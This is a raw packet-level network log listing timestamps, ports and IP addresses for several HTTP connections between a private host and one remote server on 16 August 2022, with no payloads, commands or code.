Aug 16, 2022 11:49:57.828726053 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.828735113 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.828749895 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.828758955 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.828773022 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.828782082 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.828790903 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.828804016 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.828818083 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.830127001 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.833445072 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849021912 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849059105 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849083900 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849091053 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849107981 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849113941 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849117994 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849134922 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849143028 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849160910 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849169016 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849188089 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849191904 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849212885 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849217892 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849240065 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849246025 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849272013 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849309921 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849334002 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849343061 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849359989 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849365950 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849390030 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849417925 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849442959 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849448919 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849468946 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849473000 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849502087 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849528074 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849560022 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849632025 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849658012 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849667072 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849684000 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849690914 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849709988 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849714994 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849734068 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849742889 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849759102 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:57.849769115 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.849788904 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.851617098 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:57.865345955 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.052504063 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052536011 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052557945 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052582026 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052597046 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.052604914 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052620888 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.052624941 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.052629948 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052633047 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.052654982 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052659035 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.052679062 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052685022 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.052701950 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052721024 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.052726984 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052752018 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052761078 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.052774906 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052783012 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.052799940 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052803993 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.052823067 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052828074 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.052846909 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052851915 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.052870989 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052875996 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.052895069 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.052901030 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.052923918 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.054192066 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:58.104649067 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:58.104805946 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.492923975 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.730036974 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.730086088 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.730113983 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.730123043 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.730138063 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.730144978 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.730149984 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.730165005 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.730169058 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.730196953 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.730201960 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.730223894 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.730228901 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.730249882 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.730252981 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.730277061 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.730283976 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.730304003 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.730305910 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.730336905 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.733248949 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969397068 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969436884 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969460011 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969485998 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969507933 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969530106 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969533920 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969552994 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969559908 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969563961 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969579935 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969590902 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969604015 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969611883 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969626904 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969638109 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969650984 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969655037 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969675064 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969681978 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969698906 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969707966 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969723940 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969727039 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969747066 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969750881 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969774008 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969778061 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969798088 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969801903 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969820976 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969830036 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969845057 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969851971 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969870090 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:00.969871998 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.969901085 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:00.971318007 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.208693027 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.208736897 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.208759069 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.208762884 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.208785057 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.208796978 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.208817005 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.208817959 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.208827019 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.208844900 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.208853006 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.208868027 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.208889961 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.208889961 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.208914995 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.208928108 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.208933115 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.208966017 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.208995104 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.209021091 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.209028959 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.209044933 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.209053040 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.209084988 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.209103107 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.209140062 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.209307909 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.209333897 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.209345102 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.209357977 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.209371090 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.209383011 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.209394932 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.209407091 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.209418058 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.209431887 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.209441900 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.209454060 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:01.209475994 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.209491968 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:01.209630013 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:03.056514978 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:03.056581020 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:05.728645086 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:05.728944063 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:09.952550888 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:09.958013058 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:09.969342947 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:09.969598055 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.172940969 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.187263966 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.187397003 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.187968016 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.192591906 CEST	80	49200	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.197153091 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.197295904 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.197809935 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.402338028 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.402793884 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.402874947 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.405378103 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.425242901 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.426314116 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.426340103 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.426377058 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.426373959 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.426400900 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.426409006 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.426470995 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.426489115 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.426506042 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.426512957 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.426527023 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.426537991 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.426543951 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.426574945 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.426580906 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.426624060 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.426687956 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.426728010 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.426728964 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.426764965 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.428109884 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.618593931 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.618678093 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.619879961 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654022932 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654053926 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654072046 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654090881 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654089928 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654108047 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654120922 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654124975 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654124975 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654139042 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654143095 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654150009 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654160023 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654175997 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654181957 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654192924 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654195070 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654210091 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654210091 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654226065 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654228926 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654243946 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654246092 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654261112 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654266119 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654272079 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654283047 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654299021 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654301882 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654309988 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654321909 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654331923 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654337883 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654345989 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654357910 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654361010 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654371977 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654376984 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.654386044 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654407024 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.654580116 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.842837095 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.842917919 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.844166040 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.881896973 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.881928921 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.881947041 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.881963015 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.881979942 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.881997108 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882014990 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882026911 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882033110 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882050037 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882051945 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882054090 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882066011 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882069111 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882077932 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882087946 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882106066 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882116079 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882150888 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882162094 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882169008 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882200956 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882204056 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882219076 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882234097 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882235050 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882246971 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882255077 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882260084 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882272959 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882287025 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882289886 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882299900 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882308006 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882313967 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882327080 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882340908 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882355928 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882356882 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882374048 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882389069 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882391930 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882401943 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882422924 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882457018 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882473946 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882493973 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882503033 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882513046 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882518053 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882522106 CEST	80	49203	187.45.240.69	192.168.2.22
